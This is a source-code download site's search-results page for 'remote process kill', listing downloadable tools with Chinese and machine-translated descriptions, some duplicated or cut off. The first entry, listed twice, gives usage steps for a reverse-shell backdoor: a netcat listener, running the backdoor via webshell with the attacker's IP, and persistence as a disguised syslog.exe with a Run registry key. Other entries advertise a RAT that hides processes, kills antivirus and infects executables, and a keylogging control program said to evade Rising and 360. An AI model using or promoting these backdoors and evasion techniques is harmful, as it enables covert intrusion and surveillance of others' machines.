Description: 简介:
在WEB的渗透测试中,我们经常会遇到主机端口被过滤的情况,虽然成功创建后门,但是连接不上,这时,这个反弹式后门也许能起上点作用.
用法:
1. 在本地机器监听一个端口:
netcat -vv -l -p 80
2. 通过webShell或是别的什么运行后门:
binder2 80 youIPadd
3. 本地监听端口将截获一个来自远程主机的cmd.
注意:
程序本身会创建一个自启动方法, 如果没有参数的命令,会连接默认IP和默认端口,这个exe默认的IP地址是内网地址10.24.9.100,端口7358.
程序会复制自身到c:\\winnt\\下名为syslog.exe,并在
HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run 下创建启动键. 如果需要卸载,请使用 binder2 /kill 命令.(如果因权限问题,这些将不能执行,比如在wenshell中执行时.)
压缩包中含源码,建议按需更改代码后使用.-Profile : WEB penetration testing, we will always be the host ports are filtered, although the successful creation of a back door, but do not connect, then, the rebound in the back door-may be able to play on the point role. Usage : 1. The local machine monitoring a port : Netcat - vv-l-p 80 2. webShell or through any other running back door : binder2 80 youIPadd 3. listening to the local port intercepted from a remote host cmd. note : The process itself will create a self-starting method, in the absence of an order parameter, will connect the default IP and default port, the default exe is the IP address within the network address 10.24.9.100, port 7358. procedures will copy itself to C : \\ winnt \\ named syslog.exe and HKEY_CURRENT_USER \\ \\ Software \\ \\ Microsoft \\ \\ Windows \\ \\ CurrentVe Platform: |
Size: 12283 |
Author:张军 |
Hits:
Description: 简介:
在WEB的渗透测试中,我们经常会遇到主机端口被过滤的情况,虽然成功创建后门,但是连接不上,这时,这个反弹式后门也许能起上点作用.
用法:
1. 在本地机器监听一个端口:
netcat -vv -l -p 80
2. 通过webShell或是别的什么运行后门:
binder2 80 youIPadd
3. 本地监听端口将截获一个来自远程主机的cmd.
注意:
程序本身会创建一个自启动方法, 如果没有参数的命令,会连接默认IP和默认端口,这个exe默认的IP地址是内网地址10.24.9.100,端口7358.
程序会复制自身到c:\winnt\下名为syslog.exe,并在
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 下创建启动键. 如果需要卸载,请使用 binder2 /kill 命令.(如果因权限问题,这些将不能执行,比如在wenshell中执行时.)
压缩包中含源码,建议按需更改代码后使用.-Profile : WEB penetration testing, we will always be the host ports are filtered, although the successful creation of a back door, but do not connect, then, the rebound in the back door-may be able to play on the point role. Usage : 1. The local machine monitoring a port : Netcat- vv-l-p 80 2. webShell or through any other running back door : binder2 80 youIPadd 3. listening to the local port intercepted from a remote host cmd. note : The process itself will create a self-starting method, in the absence of an order parameter, will connect the default IP and default port, the default exe is the IP address within the network address 10.24.9.100, port 7358. procedures will copy itself to C : \ winnt \ named syslog.exe and HKEY_CURRENT_USER \ \ Software \ \ Microsoft \ \ Windows \ \ CurrentVe Platform: |
Size: 12288 |
Author:张军 |
Hits:
Description: 远程控制进程，可以启动和杀死进程，其中windows运用rpc控制，linux/unix运用telnet控制-Remote Control of the process, you can start and kill the process, in which windows to use rpc control, linux/unix use telnet to control Platform: |
Size: 25600 |
Author:杨先生 |
Hits:
Description: vc编写的简单远程控制代码,可以发送命令,杀死进程,键盘/鼠标锁定等-vc prepared a simple remote control code, you can send an order to kill the process, keyboard/mouse lock, etc. Platform: |
Size: 6984704 |
Author:simon |
Hits:
Description: 这是一个免费开源的远程控制软件
功能特点：
提供CMDSHELL、文件管理、进程管理、端口代理（未完成）、屏幕捕获和一些其它功能。
用到了一些内核技术，包括活动进程链脱链（隐藏进程），与ICESWORD相同的进程强杀方
法（能杀掉一些杀毒软件的进程），Ring0打开文件（用于感染正在运行的可执行文件），
2000/xp下采用无驱Ring0
同时支持正向连接和反向连接，服务端和控制端均可接受管理多个连接
-This is a free open-source remote control software features: providing CMDSHELL, document management, process management, port agent (not completed), screen capture and a number of other features. Used a number of core technologies, including the activities of the process chain from chain (hidden processes), and the same process IceSword strong killing methods (some antivirus software to kill the process), Ring0 open the file (for infection of the executable file is running ), 2000/xp used under the hassel Ring0 while supporting positive connections and reverse connections, service-side and control acceptable to manage multiple client connections Platform: |
Size: 804864 |
Author:方启 |
Hits:
Description: 命令行状态杀死进程，远程操作时特别有用。完全DELPHI7源代码，值得一试。-Command-line state to kill the process, especially useful when remote operation. Completely DELPHI7 source code, it is worth a try. Platform: |
Size: 13312 |
Author:康道之 |
Hits:
Description: 个人原创强力控制程序，可实现远程关机，远程记录键盘，远程杀进程等功能。网络上没有第二版所以可以越过瑞星，360等软件的查杀，亲测。-Original strong personal control program, which enables remote shutdown, remote log keyboard, remote kill process and other functions. The second edition of the network so it can not cross the Rising, killing 360 and other software, the pro-test. Platform: |
Size: 1939456 |
Author:st |
Hits:
Description: 显示当前所有进程、路径、端口号、本地IP、远程IP，利用弹出菜单结束选定进程。-display the all process ,path ,port ,local ip ,remote ip ,kill the selected prcess with popmenu Platform: |
Size: 162816 |
Author:guan |
Hits:
Description: 手机防盗：
根据SIM卡的变更，判断手机是否被盗，根据有协议发送手机中SIM卡信息，和当前手机的位置(经纬度)，给安全号码，快速进入手机防盗
可以远程发送指令，锁屏，工程设置手机
MD5加密
防止应用程序被卸载
通讯卫士：
来电归属地显示，来电黑名单/短信黑名单管理，电话短信备份
软件管理：
系统软件和本地软件，显示软件的详细信息，启动，删除应用超程序，获取服务上软件的评分信息
程序锁
任务管理：
管理系统任务，显示系统内存信息，杀死，批量杀死进程，widget
上网管理：
显示出每个程序访问的流量，漫游管理
手机杀毒：
根据包名和程序的证书识别病毒，查杀
系统优化：
清理手机缓存，优化电池管理
高级工具：
自动id拨号
手机号码归属地查询
更改归属地位置
常用号码
设置中心：
开机是否自动启动
服务启动是否在状态栏显示
设置归属地显示在屏幕上的位置
关于软件：
HTML、WebView
bug管理，mantis使用，log管理
打包，混淆加密，发布、三方广告条的添加-Mobile phone security:
According to the change of SIM card, judge phone whether stolen, according to a agreement in sending mobile phone SIM card information, and the current position of the mobile phone (longitude and latitude), give security number, rapid access to mobile phone guard against theft
Can remote sending instruction, the lock screen, project set up mobile phone
MD5 encryption
To prevent the application program is unloading
Communication titanium:
Call belonging to display, calls blacklist/message blacklist management, telephone message backup
Software management:
The system software and local software, software for display of detailed information, start, delete the application of super process to obtain service software rating information
Program lock
Task management:
Management system task, display system memory information, kill, kill batch process, widget
Internet management:
Show each procedure access flow, roaming management
Mobile phone antivirus:
Acc Platform: |
Size: 2844672 |
Author:白瑞文 |
Hits:
Description: 远程监控系统，服务器能对客户机进行主动管理，能初始化客户机工作环境，能杀死黑名单进程。能主动升级。-The remote monitoring system, the server can proactively manage client can initiate the work environment of the client, can kill the blacklist process. Can take the initiative to upgrade. Platform: |
Size: 5785600 |
Author:罗方华 |
Hits:
Search - remote process kill